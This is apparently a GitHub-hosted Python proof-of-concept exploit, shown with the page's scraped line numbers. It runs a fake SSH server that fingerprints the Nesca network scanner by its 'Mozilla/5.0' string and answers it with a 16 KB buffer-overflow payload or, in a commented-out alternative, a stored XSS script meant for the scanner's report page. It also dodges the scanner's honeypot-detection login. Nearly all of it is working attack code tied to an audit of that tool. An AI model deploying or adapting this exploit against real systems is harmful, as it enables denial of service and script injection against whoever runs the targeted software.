-
Notifications
You must be signed in to change notification settings - Fork 2
/
nesca_exploit_poc.py
150 lines (121 loc) · 6.61 KB
/
nesca_exploit_poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#!/usr/bin/env python
"""
Nesca DoS/stored XSS PoC exploit by @enemy_submarine
More info: https://github.com/enemy-submarine/nesca_audit
Requirements: twisted, zope
OS: Linux
Key generation: ckeygen -t rsa -f ssh-keys/ssh_host_rsa_key
Based on https://github.com/racker/python-twisted-conch/blob/master/doc/examples/sshsimpleserver.py
"""
from twisted.conch import avatar
from twisted.conch.ssh import factory, userauth, connection, keys, session
from twisted.conch.ssh.transport import SSHServerTransport
from twisted.cred import portal, error
from twisted.cred.checkers import InMemoryUsernamePasswordDatabaseDontUse
from twisted.internet import defer
from twisted.internet import reactor, protocol
from twisted.python import components
from twisted.python import log
from zope.interface import implementer
import os
import sys
import select
from fcntl import fcntl, F_GETFL, F_SETFL
# Path to RSA SSH keys used by the server.
SERVER_RSA_PRIVATE = 'ssh-keys/ssh_host_rsa_key'
SERVER_RSA_PUBLIC = 'ssh-keys/ssh_host_rsa_key.pub'
# Path to RSA SSH keys accepted by the server.
CLIENT_RSA_PUBLIC = 'ssh-keys/client_rsa.pub'
# FAILHIT password (honeypot detection)
FAILHIT = "hw230f8034t"
# Payload: BoF and/or XSS
# PAYLOAD = "<script>alert('XSS')</script>" # XSS in ssh.html
PAYLOAD = "A" * 16384 # Buffer overflow (finder.cpp:1548)
# Prime number for DH key exchange
PRIMES = {
2048: [(2, 24265446577633846575813468889658944748236936003103970778683933705240497295505367703330163384138799145013634794444597785054574812547990300691956176233759905976222978197624337271745471021764463536913188381724789737057413943758936963945487690939921001501857793275011598975080236860899147312097967655185795176036941141834185923290769258512343298744828216530595090471970401506268976911907264143910697166165795972459622410274890288999065530463691697692913935201628660686422182978481412651196163930383232742547281180277809475129220288755541335335798837173315854931040199943445285443708240639743407396610839820418936574217939)],
4096: [(2, 889633836007296066695655481732069270550615298858522362356462966213994239650370532015908457586090329628589149803446849742862797136176274424808060302038380613106889959709419621954145635974564549892775660764058259799708313210328185716628794220535928019146593583870799700485371067763221569331286080322409646297706526831155237865417316423347898948704639476720848300063714856669054591377356454148165856508207919637875509861384449885655015865507939009502778968273879766962650318328175030623861285062331536562421699321671967257712201155508206384317725827233614202768771922547552398179887571989441353862786163421248709273143039795776049771538894478454203924099450796009937772259125621285287516787494652132525370682385152735699722849980820612370907638783461523042813880757771177423192559299945620284730833939896871200164312605489165789501830061187517738930123242873304901483476323853308396428713114053429620808491032573674192385488925866607192870249619437027459456991431298313382204980988971292641217854130156830941801474940667736066881036980286520892090232096545650051755799297658390763820738295370567143697617670291263734710392873823956589171067167839738896249891955689437111486748587887718882564384870583135509339695096218451174112035938859)],
}
@implementer(portal.IRealm)
class MockRealm:
def requestAvatar(self, avatarId, mind, *interfaces):
return interfaces[0], MockAvatar(avatarId), lambda: None
class MockChecker(InMemoryUsernamePasswordDatabaseDontUse):
def requestAvatarId(self, credentials):
if credentials.username == FAILHIT: # bypass "FAILHIT" check
return defer.fail(error.UnauthorizedLogin())
else:
return defer.maybeDeferred(credentials.checkPassword, credentials.password).addCallback(self._cbPasswordMatch, credentials.username)
def _cbPasswordMatch(self, matched, username):
return username
class MockAvatar(avatar.ConchUser):
def __init__(self, username):
avatar.ConchUser.__init__(self)
self.username = username
self.channelLookup.update({b'session': session.SSHSession})
class MockProtocol(protocol.Protocol):
def dataReceived(self, data):
self.transport.loseConnection()
class MockSession(object):
def __init__(self, avatar):
pass
def getPty(self, term, windowSize, attrs):
pass
def execCommand(self, proto, cmd):
raise Exception("Nope")
def openShell(self, transport):
protocol = MockProtocol()
# Connect the new protocol to the transport and the transport
# to the new protocol so they can communicate in both directions.
protocol.makeConnection(transport)
transport.makeConnection(session.wrapProtocol(protocol))
def eofReceived(self):
pass
def closed(self):
pass
class ExploitSSHServerTransport(SSHServerTransport):
def connectionMade(self):
try:
client = self.transport.getPeer().host # client ip
log.msg("Incoming connection: %s" % client)
fd = self.transport.fileno()
flags = fcntl(fd, F_GETFL) # Get current fd flags
fcntl(fd, F_SETFL, flags | os.O_NONBLOCK)
ready, _, _ = select.select((fd,), (), (), .5)
if fd in ready:
# Get some data.
req = os.read(fd, 4096)
if "Mozilla/5.0" in req:
# Probably it is Nesca, fire!
self.transport.write(b'%s\r\n' % (
self.ourVersionString + PAYLOAD,))
log.msg("Nesca scan detected, attacking: %s" % client)
else:
# Regular ssh connection or another shit, drop it
log.msg("Dropping connection with host: %s" % client)
self.transport.loseConnection()
except Exception as e:
log.msg("Exception in SSHServerTransport: %s" % str(e))
# Passing connection to normal transport.
SSHServerTransport.connectionMade(self)
class MockFactory(factory.SSHFactory):
protocol = ExploitSSHServerTransport
# Server's host keys.
publicKeys = {
b'ssh-rsa': keys.Key.fromFile(SERVER_RSA_PUBLIC)
}
privateKeys = {
b'ssh-rsa': keys.Key.fromFile(SERVER_RSA_PRIVATE)
}
# Service handlers.
services = {
b'ssh-userauth': userauth.SSHUserAuthServer,
b'ssh-connection': connection.SSHConnection
}
if __name__ == '__main__':
log.startLogging(sys.stderr)
components.registerAdapter(MockSession, MockAvatar, session.ISession)
portal = portal.Portal(MockRealm(), (MockChecker(),))
MockFactory.portal = portal
reactor.listenTCP(22, MockFactory())
reactor.run()